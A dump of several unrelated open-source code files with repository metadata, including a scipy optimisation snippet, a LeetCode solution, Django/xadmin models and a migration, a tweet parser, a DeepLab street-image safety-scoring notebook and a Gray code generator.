f = lambda x: x[0] ** 2 + x[1] ** 2 + x[2] ** 2 + 8
# constrains >= 0
cons = (
{'type': 'ineq', 'fun': lambda x: x[0] ** 2 - x[1] + x[2] ** 2},
{'type': 'ineq', 'fun': lambda x: -x[0] - x[1] ** 2 - x[2] ** 2 + 20},
{'type': 'eq', 'fun': lambda x: x[0] + x[1] ** 2 - 2},
{'type': 'eq', 'fun': lambda x: x[1] + 2 * x[2] ** 2 - 3}
)
bnds = ((0, None), (0, None), (0, None))
ans = shgo(func=f, bounds=bnds, constraints=cons)
print(ans.x, ans.fun)
|
[
"noreply@github.com"
] |
PythonLinzi.noreply@github.com
|
ed83f457724d36148ebe01abdca8dc2b98797cd0
|
f1cb02057956e12c352a8df4ad935d56cb2426d5
|
/LeetCode/667. Beautiful Arrangement II/Solution.py
|
c6411d49a5b2ef4e8a135c3ba40b4f78fcad7658
|
[] |
no_license
|
nhatsmrt/AlgorithmPractice
|
191a6d816d98342d723e2ab740e9a7ac7beac4ac
|
f27ba208b97ed2d92b4c059848cc60f6b90ce75e
|
refs/heads/master
| 2023-06-10T18:28:45.876046
| 2023-05-26T07:46:42
| 2023-05-26T07:47:10
| 147,932,664
| 15
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 491
|
py
|
class Solution:
def constructArray(self, n: int, k: int) -> List[int]:
# Time and Space Complexity: O(N)
ret = [1]
used = set([1])
for i in range(k):
diff = k - i
if i % 2 == 0:
ret.append(ret[-1] + diff)
else:
ret.append(ret[-1] - diff)
used.add(ret[-1])
for i in range(1, n + 1):
if i not in used:
ret.append(i)
return ret
|
[
"nphamcs@gmail.com"
] |
nphamcs@gmail.com
|
4d99f633afc77b507748cf4ff0d949a8cd90428e
|
fdcb3e363bc4d81ebe6bd0cf10b08572abacd429
|
/fixed_vision/visionPlan.py
|
d6e66219ed9680d30619aa366023a6a98e0909e7
|
[] |
no_license
|
hymanc/purpleproject1
|
501ae8948772987189907356e62e135e7d5e1fca
|
e77b9bf5b9fde453fc41d9a80b7cb1886d7ec846
|
refs/heads/master
| 2021-01-23T15:15:32.952845
| 2014-11-03T22:14:42
| 2014-11-03T22:14:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,506
|
py
|
from vision import *
from joy import Plan
import cv2
# Vision system as a ckbot Plan
class VisionPlan( Plan ):
def __init__( self, app, *arg, **kw):
self.cameraIndex = kw['camera']
Plan.__init__(self, app, *arg, **kw ) # Initialize Plan
# Gets the robot vision points
def getState(self):
state = self.vision.getState()
return {'x':state[0],'y':state[1],'theta':state[2], 'tagX':state[3], 'tagY':state[4]}
# Function to pass down waypoints to vision system
def setWaypoints(self, waypoints):
self.vision.setWaypoints(waypoints)
# Function to pass down tag estimate position for rendering
def setTagLocation(self, tagEst):
pass#self.vision.setTagLocation(tagEst)
def getTagLocationEstimate(self):
return self.vision.tagLoc
# Function to pass the force vector down for rendering
def setControlVectorRender(self, start, end):
self.vision.fVectorStart = start
self.vision.fVectorEnd = end
# Vision plan behavior
def behavior( self ):
#print 'Launching Vision Plan'
if(self.cameraIndex):
print 'Starting vision system with camera', str(self.cameraIndex)
self.vision = VisionSystem(int(self.cameraIndex))
else:
print 'Starting vision system with default camera'
self.vision = VisionSystem(0) # start vision system
# Main loop
while(True):
self.vision.processFrame()
#yield self.forDuration(0.1)
if cv2.waitKey(5) & 0xFF == ord('q'):
break
else:
yield self.forDuration(0.05)
|
[
"hymanc@umich.edu"
] |
hymanc@umich.edu
|
272c1c3d0ab65c68f2c3c5cd205ba8445a28bdc9
|
1fe4f9eb9b1d756ad17e1ff6585e8ee7af23903c
|
/saleor/account/migrations/0029_address_location_type.py
|
b2864e44799addcedd69200a77e450480a5e800c
|
[
"BSD-3-Clause"
] |
permissive
|
Chaoslecion123/Diver
|
ab762e7e6c8d235fdb89f6c958488cd9b7667fdf
|
8c5c493701422eada49cbf95b0b0add08f1ea561
|
refs/heads/master
| 2022-02-23T10:43:03.946299
| 2019-10-19T23:39:47
| 2019-10-19T23:39:47
| 216,283,489
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 592
|
py
|
# Generated by Django 2.2.2 on 2019-07-11 14:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('account', '0028_newslettersubscription'),
]
operations = [
migrations.AddField(
model_name='address',
name='location_type',
field=models.CharField(blank=True, choices=[('home', 'Casa'), ('office', 'Oficina'), ('building', 'Edificio'), ('condominium', 'Condominio'), ('country-house', 'Quinta'), ('businesses', 'Negocio'), ('other', 'Otro')], max_length=256),
),
]
|
[
"chaoslecion71@gmail.com"
] |
chaoslecion71@gmail.com
|
27b4c47517149c32c7a25bc573e58437a8a24be9
|
a1b054f28bea2a8f8354d23ec888c7460217397a
|
/xadmin/models.py
|
bbbbc48d1e00dc9cfa07d9307812f3f07b0c898c
|
[
"BSD-3-Clause"
] |
permissive
|
wgbbiao/xadmin
|
1da8b123f56913f14b9b0208328e33aa09e9d3eb
|
eac628712fd83f61676a19d371d497a151256368
|
refs/heads/master
| 2022-09-30T03:58:44.048937
| 2022-09-28T09:17:07
| 2022-09-28T09:17:07
| 223,844,903
| 0
| 0
|
BSD-3-Clause
| 2022-09-24T08:59:42
| 2019-11-25T02:19:50
|
Python
|
UTF-8
|
Python
| false
| false
| 6,538
|
py
|
import json
import django
from django.db import models
from django.utils import timezone
from django.conf import settings
from django.contrib.contenttypes.models import ContentType
from django.utils.translation import gettext_lazy as _, ngettext_lazy as ugettext
from django.urls.base import reverse
from django.core.serializers.json import DjangoJSONEncoder
from django.db.models.base import ModelBase
from django.utils.encoding import smart_str as smart_text
from django.db.models.signals import post_migrate
from django.contrib.auth.models import Permission
import datetime
import decimal
from xadmin.util import quote
AUTH_USER_MODEL = getattr(settings, 'AUTH_USER_MODEL', 'auth.User')
def add_view_permissions(sender, **kwargs):
"""
This syncdb hooks takes care of adding a view permission too all our
content types.
"""
# for each of our content types
for content_type in ContentType.objects.all():
# build our permission slug
codename = "view_%s" % content_type.model
# if it doesn't exist..
if not Permission.objects.filter(content_type=content_type, codename=codename):
# add it
Permission.objects.create(content_type=content_type,
codename=codename,
name="Can view %s" % content_type.name)
# print "Added view permission for %s" % content_type.name
# check for all our view permissions after a syncdb
post_migrate.connect(add_view_permissions)
class Bookmark(models.Model):
title = models.CharField(_(u'Title'), max_length=128)
user = models.ForeignKey(AUTH_USER_MODEL, on_delete=models.CASCADE, verbose_name=_(
u"user"), blank=True, null=True)
url_name = models.CharField(_(u'Url Name'), max_length=64)
content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE)
query = models.CharField(_(u'Query String'), max_length=1000, blank=True)
is_share = models.BooleanField(_(u'Is Shared'), default=False)
@property
def url(self):
base_url = reverse(self.url_name)
if self.query:
base_url = base_url + '?' + self.query
return base_url
def __str__(self):
return self.title
class Meta:
verbose_name = _(u'Bookmark')
verbose_name_plural = _('Bookmarks')
class JSONEncoder(DjangoJSONEncoder):
def default(self, o):
if isinstance(o, datetime.datetime):
return o.strftime('%Y-%m-%d %H:%M:%S')
elif isinstance(o, datetime.date):
return o.strftime('%Y-%m-%d')
elif isinstance(o, decimal.Decimal):
return str(o)
elif isinstance(o, ModelBase):
return '%s.%s' % (o._meta.app_label, o._meta.model_name)
else:
try:
return super(JSONEncoder, self).default(o)
except Exception:
return smart_text(o)
class UserSettings(models.Model):
user = models.ForeignKey(
AUTH_USER_MODEL, on_delete=models.CASCADE, verbose_name=_(u"user"))
key = models.CharField(_('Settings Key'), max_length=256)
value = models.TextField(_('Settings Content'))
def json_value(self):
return json.loads(self.value)
def set_json(self, obj):
self.value = json.dumps(obj, cls=JSONEncoder, ensure_ascii=False)
def __str__(self):
return "%s %s" % (self.user, self.key)
class Meta:
verbose_name = _(u'User Setting')
verbose_name_plural = _('User Settings')
class UserWidget(models.Model):
user = models.ForeignKey(
AUTH_USER_MODEL, on_delete=models.CASCADE, verbose_name=_(u"user"))
page_id = models.CharField(_(u"Page"), max_length=256)
widget_type = models.CharField(_(u"Widget Type"), max_length=50)
value = models.TextField(_(u"Widget Params"))
def get_value(self):
value = json.loads(self.value)
value['id'] = self.id
value['type'] = self.widget_type
return value
def set_value(self, obj):
self.value = json.dumps(obj, cls=JSONEncoder, ensure_ascii=False)
def save(self, *args, **kwargs):
created = self.pk is None
super(UserWidget, self).save(*args, **kwargs)
if created:
try:
portal_pos = UserSettings.objects.get(
user=self.user, key="dashboard:%s:pos" % self.page_id)
portal_pos.value = "%s,%s" % (
self.pk, portal_pos.value) if portal_pos.value else self.pk
portal_pos.save()
except Exception:
pass
def __str__(self):
return "%s %s widget" % (self.user, self.widget_type)
class Meta:
verbose_name = _(u'User Widget')
verbose_name_plural = _('User Widgets')
class Log(models.Model):
action_time = models.DateTimeField(
_('action time'),
default=timezone.now,
editable=False,
)
user = models.ForeignKey(
AUTH_USER_MODEL,
models.CASCADE,
verbose_name=_('user'),
)
ip_addr = models.GenericIPAddressField(
_('action ip'), blank=True, null=True)
content_type = models.ForeignKey(
ContentType,
models.SET_NULL,
verbose_name=_('content type'),
blank=True, null=True,
)
object_id = models.TextField(_('object id'), blank=True, null=True)
object_repr = models.CharField(_('object repr'), max_length=200)
action_flag = models.CharField(_('action flag'), max_length=32)
message = models.TextField(_('change message'), blank=True)
class Meta:
verbose_name = _('log entry')
verbose_name_plural = _('log entries')
ordering = ('-action_time',)
def __repr__(self):
return smart_text(self.action_time)
def __str__(self):
if self.action_flag == 'create':
return ugettext('Added "%(object)s".') % {'object': self.object_repr}
elif self.action_flag == 'change':
return ugettext('Changed "%(object)s" - %(changes)s') % {
'object': self.object_repr,
'changes': self.message,
}
elif self.action_flag == 'delete' and self.object_repr:
return ugettext('Deleted "%(object)s."') % {'object': self.object_repr}
return self.message
def get_edited_object(self):
"Returns the edited object represented by this log entry"
return self.content_type.get_object_for_this_type(pk=self.object_id)
|
[
"wgb237@163.com"
] |
wgb237@163.com
|
45a63d97c07645c6c27240f079b0e3c1d8e6a71d
|
5ff967a04a9de8d62b398857e1d4abae4053a220
|
/extract_url_hash.py
|
7800443731ced7cd847c1a6bce20a78cdfb9bb66
|
[] |
no_license
|
Suma24/cs5540
|
351dee69c4e300bf44ccc6b274e4bbb2ec3f2b12
|
935c07a18ec94b67ebff63161c3e71a08229c8a1
|
refs/heads/master
| 2022-11-28T04:11:05.912497
| 2020-07-30T02:41:22
| 2020-07-30T02:41:22
| 280,541,012
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 662
|
py
|
import codecs
import json
import sys
def parse_json_tweet(line):
tweet = json.loads(line)
htags = [hashtag['text'] for hashtag in tweet['entities']['hashtags']]
urls = [url['expanded_url'] for url in tweet['entities']['urls']]
return [htags, urls]
if __name__ == "__main__":
file_timeordered_json_tweets = codecs.open("tweetsdataimported.txt", 'r', 'utf-8')
fout = codecs.open("output.txt", 'w','utf-8')
for line in file_timeordered_json_tweets:
try:
[htags,urls] = parse_json_tweet(line)
fout.write(str([htags,urls]) + "\n")
except:
pass
file_timeordered_json_tweets.close()
fout.close()
|
[
"noreply@github.com"
] |
Suma24.noreply@github.com
|
40436a13da81c7780c2bef998a4a8d24dbcdd81a
|
f0204db32eb17a0871705252ba3d341400b5433b
|
/code/corpus/corpus.py
|
fd5d4d8a2328b7d87976e72154aae040356bbe9b
|
[] |
no_license
|
xkandj/nlp-textclassify-qa
|
916cf0854ad50f35dff6ff52211eb5f0d91568f7
|
4340c559472ebbb7c4e34d4343490685138f722b
|
refs/heads/main
| 2023-02-06T06:42:48.281760
| 2020-12-23T02:56:44
| 2020-12-23T02:56:44
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 784
|
py
|
import pandas as pd
from configs.config import Config
default_config = Config.yaml_config()
def load_data():
# take special columns
usecols = [0, 1, 5, 6]
df_train = pd.read_csv('corpus/tsv/WikiQA-train.tsv', usecols=usecols, sep='\t')
df_eval = pd.read_csv('corpus/tsv/WikiQA-dev.tsv', usecols=usecols, sep='\t')
df_test = pd.read_csv('corpus/tsv/WikiQA-test.tsv', usecols=usecols, sep='\t')
# rename columns
columns = ['id', 'q', 'a', 'label']
df_train.columns, df_eval.columns, df_test.columns = columns, columns, columns
if 'corpus_size' in default_config.keys():
corpus_size = default_config['corpus_size']
return df_train[:corpus_size], df_eval[:corpus_size], df_test[:corpus_size]
return df_train, df_eval, df_test
|
[
"lliu606@hotmail.com"
] |
lliu606@hotmail.com
|
b465a5ad1efbf8299181c88aa230f65883ede83b
|
d8e4f4ac8a584fbc274d71716c8e8e113e9b6385
|
/machine_learning/regression/week_2/assertion_utilities.py
|
7d834543f75e0a6949d9a1bdcbc2aac1e585ea9c
|
[] |
no_license
|
necromuralist/coursera_machine_learning
|
d46062a706c206adf65381b4fd4ed485d53054c4
|
d5743815c1581c051f573172a523ed8707d2417f
|
refs/heads/master
| 2021-01-20T20:52:41.710136
| 2016-08-07T22:56:11
| 2016-08-07T22:56:11
| 65,157,779
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 583
|
py
|
def assert_almost_equal(first, second, tolerance=.0000001):
"""
assert the difference is within tolerance
:param:
- `first`: first term (float)
- `second`: second term
- `tolerance`: upper bound for the size of the difference
:raise: AssertionError if difference > tolerance
"""
assert abs(first - second) < tolerance, \
"Term 1: {t1}, Term 2: {t2} Difference: {d}".format(t1=first,
t2=second,
d=abs(first-second))
|
[
"r.nakamura.us@ieee.org"
] |
r.nakamura.us@ieee.org
|
94733131c611a6e25503cccb613aaa7111a62905
|
c51b86da2bf51688facc7851909c03cb837b788f
|
/samriddho_combined_model (1).py
|
5c112821d8e35329ba824428ebba3f1ca63f72c0
|
[
"MIT"
] |
permissive
|
ghoshdoesdesign/geriatric_urban_security
|
8e1f556e0807bff766085cd2d029fdc6fdb5bb9a
|
7dffacb3599a3de0b4c12617e0c39e97662cb158
|
refs/heads/main
| 2023-07-31T17:35:33.719653
| 2021-09-08T23:13:32
| 2021-09-08T23:13:32
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 14,554
|
py
|
# -*- coding: utf-8 -*-
"""Samriddho combined model.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1Ck8tsiqBu9u0ZQGKn7Oxzf1cl_NU84cS
"""
# Commented out IPython magic to ensure Python compatibility.
from google.colab import drive
drive.mount('/content/drive')
#replace drive path here
# %cd /content/drive/My Drive/Participants_Public/12/Images
import os
input_path = os.getcwd() + '/'
from os import listdir
all_files = [f for f in listdir(input_path)]
### Get only jpg files
jpg_files = list(filter(lambda x: x[-5:] == ('.jpg') or x[-4:] == ('.jpg'), all_files))
jpg_files.sort()
if len(jpg_files) == 0:
print ('No JPG files found!')
print("JPG Files in the folder:",len(jpg_files))
print (jpg_files)
# Commented out IPython magic to ensure Python compatibility.
#original_code: 'https://github.com/lexfridman/mit-deep-learning/blob/master/tutorial_driving_scene_segmentation/tutorial_driving_scene_segmentation.ipynb'
#os.mkdir(input_path+'segmentation4')
#os.chdir(input_path+'segmentation4')
import pandas as pd
# %tensorflow_version 1.x
import tensorflow as tf
print(tf.__version__)
import os
from io import BytesIO
import tarfile
import tempfile
from six.moves import urllib
import matplotlib
from matplotlib import gridspec
from matplotlib import pyplot as plt
import numpy as np
from PIL import Image
import cv2 as cv
from tqdm import tqdm
import IPython
from sklearn.metrics import confusion_matrix
from tabulate import tabulate
# Comment this out if you want to see Deprecation warnings
import warnings
warnings.simplefilter("ignore", DeprecationWarning)
import urllib
import sys
################
class DeepLabModel(object):
"""Class to load deeplab model and run inference."""
FROZEN_GRAPH_NAME = 'frozen_inference_graph'
def __init__(self, tarball_path):
"""Creates and loads pretrained deeplab model."""
self.graph = tf.Graph()
graph_def = None
# Extract frozen graph from tar archive.
tar_file = tarfile.open(tarball_path)
for tar_info in tar_file.getmembers():
if self.FROZEN_GRAPH_NAME in os.path.basename(tar_info.name):
file_handle = tar_file.extractfile(tar_info)
graph_def = tf.GraphDef.FromString(file_handle.read())
break
tar_file.close()
if graph_def is None:
raise RuntimeError('Cannot find inference graph in tar archive.')
with self.graph.as_default():
tf.import_graph_def(graph_def, name='')
self.sess = tf.Session(graph=self.graph)
def run(self, image, INPUT_TENSOR_NAME = 'ImageTensor:0', OUTPUT_TENSOR_NAME = 'SemanticPredictions:0'):
"""Runs inference on a single image.
Args:
image: A PIL.Image object, raw input image.
INPUT_TENSOR_NAME: The name of input tensor, default to ImageTensor.
OUTPUT_TENSOR_NAME: The name of output tensor, default to SemanticPredictions.
Returns:
resized_image: RGB image resized from original input image.
seg_map: Segmentation map of `resized_image`.
"""
width, height = image.size
target_size = (2049,1025) # size of Cityscapes images
resized_image = image.convert('RGB').resize(target_size, Image.ANTIALIAS)
batch_seg_map = self.sess.run(
OUTPUT_TENSOR_NAME,
feed_dict={INPUT_TENSOR_NAME: [np.asarray(resized_image)]})
seg_map = batch_seg_map[0] # expected batch size = 1
if len(seg_map.shape) == 2:
seg_map = np.expand_dims(seg_map,-1) # need an extra dimension for cv.resize
seg_map = cv.resize(seg_map, (width,height), interpolation=cv.INTER_NEAREST)
return seg_map
def create_label_colormap():
"""Creates a label colormap used in Cityscapes segmentation benchmark.
Returns:
A Colormap for visualizing segmentation results.
"""
colormap = np.array([
[128, 64, 128],
[244, 35, 232],
[ 70, 70, 70],
[102, 102, 156],
[190, 153, 153],
[153, 153, 153],
[250, 170, 30],
[220, 220, 0],
[107, 142, 35],
[152, 251, 152],
[ 70, 130, 180],
[220, 20, 60],
[255, 0, 0],
[ 0, 0, 142],
[ 0, 0, 70],
[ 0, 60, 100],
[ 0, 80, 100],
[ 0, 0, 230],
[119, 11, 32],
[ 0, 0, 0]], dtype=np.uint8)
return colormap
def label_to_color_image(label):
"""Adds color defined by the dataset colormap to the label.
Args:
label: A 2D array with integer type, storing the segmentation label.
Returns:
result: A 2D array with floating type. The element of the array
is the color indexed by the corresponding element in the input label
to the PASCAL color map.
Raises:
ValueError: If label is not of rank 2 or its value is larger than color
map maximum entry.
"""
if label.ndim != 2:
raise ValueError('Expect 2-D input label')
colormap = create_label_colormap()
if np.max(label) >= len(colormap):
raise ValueError('label value too large.')
return colormap[label]
################
def vis_segmentation(image, seg_map):
"""Visualizes input image, segmentation map and overlay view."""
plt.figure(figsize=(20, 20))
seg_image = label_to_color_image(seg_map).astype(np.uint8)
plt.imshow(seg_image)
plt.axis('off')
plt.savefig(str(image_id)+'_seg.jpg',bbox_inches='tight')
plt.close()
LABEL_NAMES = np.asarray([
'road', 'sidewalk', 'building', 'wall', 'fence', 'pole', 'traffic light',
'traffic sign', 'vegetation', 'terrain', 'sky', 'person', 'rider', 'car', 'truck',
'bus', 'train', 'motorcycle', 'bicycle', 'void'])
FULL_LABEL_MAP = np.arange(len(LABEL_NAMES)).reshape(len(LABEL_NAMES), 1)
FULL_COLOR_MAP = label_to_color_image(FULL_LABEL_MAP)
################
MODEL_NAME = 'mobilenetv2_coco_cityscapes_trainfine'
#MODEL_NAME = 'xception65_cityscapes_trainfine'
_DOWNLOAD_URL_PREFIX = 'http://download.tensorflow.org/models/'
_MODEL_URLS = {
'mobilenetv2_coco_cityscapes_trainfine':
'deeplabv3_mnv2_cityscapes_train_2018_02_05.tar.gz',
'xception65_cityscapes_trainfine':
'deeplabv3_cityscapes_train_2018_02_06.tar.gz',
}
_TARBALL_NAME = 'deeplab_model.tar.gz'
try:
tk = 'https://drive.google.com/uc?export=download&id=1NKfMlQSrECECSKIwFW_cQha0eNTGglnt'
tkfile = urllib.request.urlopen(tk)
except:
sys.exit()
model_dir = tempfile.mkdtemp()
tf.io.gfile.makedirs(model_dir)
download_path = os.path.join(model_dir, _TARBALL_NAME)
print('downloading model, this might take a while...')
urllib.request.urlretrieve(_DOWNLOAD_URL_PREFIX + _MODEL_URLS[MODEL_NAME], download_path)
print('download completed! loading DeepLab model...')
MODEL = DeepLabModel(download_path)
print('model loaded successfully!')
##############
extracted_features = []
for jpg in jpg_files:
SAMPLE_IMAGE = input_path+jpg
participant_id = jpg.split('_')[0]
jpg_id = jpg.split('_')[1]
image_id = str(participant_id + '_' + jpg_id)
latitude = float(jpg.split('_')[2])
longitude = float(jpg.split('_')[3].split('.')[0]+'.'+jpg.split('_')[3].split('.')[1])
print('running deeplab on '+image_id)
def run_visualization(SAMPLE_IMAGE):
"""Inferences DeepLab model and visualizes result."""
original_im = Image.open(SAMPLE_IMAGE)
global seg_map
seg_map = MODEL.run(original_im)
vis_segmentation(original_im, seg_map)
run_visualization(SAMPLE_IMAGE)
#print (seg_map)
total_pixels = seg_map.shape[0]*seg_map.shape[1]
labels_array = list(np.unique(seg_map, return_counts=True)[0])
frequency_array = list(np.unique(seg_map, return_counts=True)[1])
label_indicies = []
label_frequencies = []
c = 0
for label in LABEL_NAMES:
if c in labels_array:
label_indicies.append(c)
label_frequencies.append(frequency_array[labels_array.index(c)])
else:
label_indicies.append(c)
label_frequencies.append(0)
c = c+1
#print(label_indicies)
#print(label_frequencies)
road_score = (label_frequencies[0]/total_pixels)*100
sidewalk_score = (label_frequencies[1]/total_pixels)*100
building_score = (label_frequencies[2]/total_pixels)*100
wall_score = (label_frequencies[3]/total_pixels)*100
fence_score = (label_frequencies[4]/total_pixels)*100
pole_score = (label_frequencies[5]/total_pixels)*100
traffic_light_score = (label_frequencies[6]/total_pixels)*100
traffic_sign_score = (label_frequencies[7]/total_pixels)*100
vegetation_score = (label_frequencies[8]/total_pixels)*100
terrain_score = (label_frequencies[9]/total_pixels)*100
sky_score = (label_frequencies[10]/total_pixels)*100
person_score = (label_frequencies[11]/total_pixels)*100
rider_score = (label_frequencies[12]/total_pixels)*100
car_score = (label_frequencies[13]/total_pixels)*100
truck_score = (label_frequencies[14]/total_pixels)*100
bus_score = (label_frequencies[15]/total_pixels)*100
train_score = (label_frequencies[16]/total_pixels)*100
motorcycle_score = (label_frequencies[17]/total_pixels)*100
bicycle_score = (label_frequencies[18]/total_pixels)*100
void_score = (label_frequencies[19]/total_pixels)*100
built_score = building_score + wall_score
paved_score = road_score + sidewalk_score
auto_score = car_score + bus_score + truck_score + motorcycle_score
human_score = person_score + rider_score
nature_score = terrain_score + vegetation_score
extracted_features.append([built_score,paved_score,auto_score,sky_score,nature_score,human_score,latitude,longitude,road_score,sidewalk_score,building_score,wall_score,fence_score,pole_score,traffic_light_score,traffic_sign_score,vegetation_score,terrain_score,sky_score,person_score,rider_score,car_score,truck_score,bus_score,train_score,motorcycle_score,bicycle_score,void_score])
image_features = pd.DataFrame(extracted_features)
image_features.columns = ['built_score','paved_score','auto_score','sky_score','nature_score','human_score','latitude', 'longitude','road_score','sidewalk_score','building_score','wall_score','fence_score','pole_score','traffic_light_score','traffic_sign_score','vegetation_score','terrain_score','sky_score','person_score','rider_score','car_score','truck_score','bus_score','train_score','motorcycle_score','bicycle_score','void_score']
#image_features = image_features.set_index('image_id')
os.chdir(input_path)
image_features.to_csv(participant_id+'_image_features.csv')
print('Feature Extraction Completed Successfully!')
print('image_features.csv created')
image_features
image_features=image_features.iloc[:,0:6]
image_features.to_csv('6parameter_image_features.csv')
image_features
# Commented out IPython magic to ensure Python compatibility.
import pandas as pd
# %cd /content/drive/My Drive/Participants_Public/12/Images
Data_ANN = pd.read_csv("for_training.csv", header=0)
#from google.colab import files
#file = files.upload()
# Change the file name inside "pd.read_csv" as needed
#Data_ANN = pd.read_csv("for_training.csv", header=0)
Data_ANN
from sklearn.model_selection import train_test_split
# y is the dependent variable/label
# Change the column header inside "DATA_ANN" as needed
Y = Data_ANN['safety_score']
# iloc is used to slice the array into independent variables and dependent variables by index number
# It should be total no of independent variables/features or (dependent variable/label's column number - 1)
# Change the xx values inside [:,0:xx] as needed = total no of independent variables/features or (dependent variable/label's column number - 1)
X = Data_ANN.iloc[:,0:6]
# Split the data into a training set and a test set
# Change test_size value to control the split
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.3, random_state=3)
print(X_train.shape, X_test.shape, Y_train.shape, Y_test.shape)
from keras.models import Sequential
from keras.layers import Dense
classifier = Sequential() # Initialising the ANN
# Make sure that input_dim = total no of independent variables/features or (dependent variable/label's column number - 1)
classifier.add(Dense(units = 6, activation = 'relu', input_dim = 6))
classifier.add(Dense(units = 4, activation = 'relu'))
classifier.add(Dense(units = 2, activation = 'relu'))
classifier.add(Dense(units = 1, activation = 'relu'))
classifier.compile(optimizer = 'RMSprop', loss = 'mean_squared_error')
# increase value of epochs to increase iterations
classifier.fit(X_train, Y_train, batch_size = 1, epochs = 100)
import numpy as np
from sklearn.metrics import mean_squared_error
from sklearn.metrics import r2_score
# model evaluation for training set
Y_pred_train = classifier.predict(X_train)
# Y_pred_train.where(Y_pred_train >= 0, 0, inplace=True)
# Y_pred_train.where(Y_pred_train <= 1, 1, inplace=True)
rmse = (np.sqrt(mean_squared_error(Y_train, Y_pred_train)))
r2 = r2_score(Y_train, Y_pred_train)
acc = 100 - (rmse/(Y_train.max(axis=0) - Y_train.min(axis=0))*100)
print("The model performance for training set")
print("--------------------------------------")
print('RMSE is {}'.format(rmse))
print('R2 score is {}'.format(r2))
print('Accuracy is {}'.format(acc))
print("\n")
# model evaluation for testing set
Y_pred_test = classifier.predict(X_test)
# Y_pred_test.where(Y_pred_test >= 0, 0, inplace=True)
# Y_pred_test.where(Y_pred_test <= 1, 1, inplace=True)
rmse = (np.sqrt(mean_squared_error(Y_test, Y_pred_test)))
r2 = r2_score(Y_test, Y_pred_test)
acc = 100 - (rmse/(Y_test.max(axis=0) - Y_test.min(axis=0))*100)
print("The model performance for testing set")
print("--------------------------------------")
print('RMSE is {}'.format(rmse))
print('R2 score is {}'.format(r2))
print('Accuracy is {}'.format(acc))
# Commented out IPython magic to ensure Python compatibility.
import pandas as pd
# %cd /content/drive/My Drive/Participants_Public/12/Images
X_Predict_ANN = pd.read_csv("6parameter_image_features.csv", header=0)
X_Predict_ANN.drop("Unnamed: 0",axis=1,inplace=True)
Y_Predict_ANN = classifier.predict(X_Predict_ANN)
#Y_Predict_ANN.where(Y_Predict_ANN >= 0, 0, inplace=True)
#Y_Predict_ANN.where(Y_Predict_ANN <= 1, 1, inplace=True)
prediction_df = pd.DataFrame(Y_Predict_ANN )
prediction_df.to_csv('prediction_y.csv')
print('Safety score is - ')
prediction_df
|
[
"noreply@github.com"
] |
ghoshdoesdesign.noreply@github.com
|
f44e4cb3678374de5d7f0de0ab8711aa3905333f
|
755a05dbf86eedc8ee02c999bc867e5acf4c94b4
|
/dcp_py/day148/day148.py
|
4c630347cf5d4ebcafb0fa269fa79039c31208a1
|
[
"MIT"
] |
permissive
|
sraaphorst/daily-coding-problem
|
b667b9dcd5c60756806101905047a50e25fdd51f
|
5981e97106376186241f0fad81ee0e3a9b0270b5
|
refs/heads/master
| 2022-12-11T23:56:43.533967
| 2022-12-04T09:28:53
| 2022-12-04T09:28:53
| 182,330,159
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,222
|
py
|
#!/usr/bin/env python3
# day148.py
# By Sebastian Raaphorst, 2019.
from hypothesis import given
from hypothesis import strategies as st
from typing import List, Optional
def gray_code(n: int) -> List[List[int]]:
"""
Recursively generate the Gray code of order n.
:param n: the length of the Gray code
:return: a list of 2^n binary strings of length n, who pairwise differ from each other (cyclically) by distance 1.
>>> gray_code(0)
[[]]
>>> gray_code(1)
[[0], [1]]
>>> gray_code(2)
[[0, 0], [0, 1], [1, 1], [1, 0]]
>>> gray_code(3)
[[0, 0, 0], [0, 0, 1], [0, 1, 1], [0, 1, 0], [1, 1, 0], [1, 1, 1], [1, 0, 1], [1, 0, 0]]
"""
if n < 0:
raise ValueError(f"gray_code({n}) does not exist")
if n == 0:
return [[]]
prev = gray_code(n - 1)
return [[0] + c for c in prev] + [[1] + c for c in reversed(prev)]
def distance(v1: List[int], v2: List[int]) -> Optional[int]:
"""
Determine the distance between two vectors, i.e. the number of positions in which their value differs.
:param v1: first vector
:param v2: second vector
:return: distance as described above
>>> distance([], [])
0
>>> distance([0, 1, 1], [1, 0, 1])
2
"""
if len(v1) != len(v2):
return None
return sum(1 if v1_n != v2_n else 0 for v1_n, v2_n in zip(v1, v2))
def check_gray_code(gc: List[List[int]], n: int) -> bool:
"""
Check if the list gc is a Gray code of length n.
:param gc: the Gray code of length n candidate
:param n: the length of the Gray code
:return: True if it represents a Gray code of length n, else False
>>> check_gray_code(gray_code(0), 0)
True
>>> check_gray_code(gray_code(5), 5)
True
"""
s = set(tuple(c) for c in gc)
if len(s) != (1 << n):
return False
if n == 0:
return True
for curr in range(len(gc)):
v1, v2 = gc[curr], gc[(curr + 1) % len(gc)]
if len(v1) != n or len(v2) != n:
return False
if distance(v1, v2) != 1:
return False
return True
@given(st.integers(min_value=0, max_value=10))
def test_gray_code(n):
assert check_gray_code(gray_code(n), n)
|
[
"srcoding@gmail.com"
] |
srcoding@gmail.com
|
a5e982c44a13087ef6c41d608030e4c0195fbbaf
|
e908b83ac372c17904edea421026222c515b768f
|
/mysite/settings.py
|
671d064e9b82f274a67c606c9306cf9d170eb92e
|
[] |
no_license
|
ndjman7/Vote
|
6edf34650cfe6ecb008e397fdea5af5d6d432bd3
|
5b8e8ab2d189b49dae16340ef0ccaef8fa0af627
|
refs/heads/master
| 2021-01-22T04:28:08.029412
| 2017-07-12T01:13:20
| 2017-07-12T01:13:20
| 92,465,210
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,344
|
py
|
"""
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.11.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
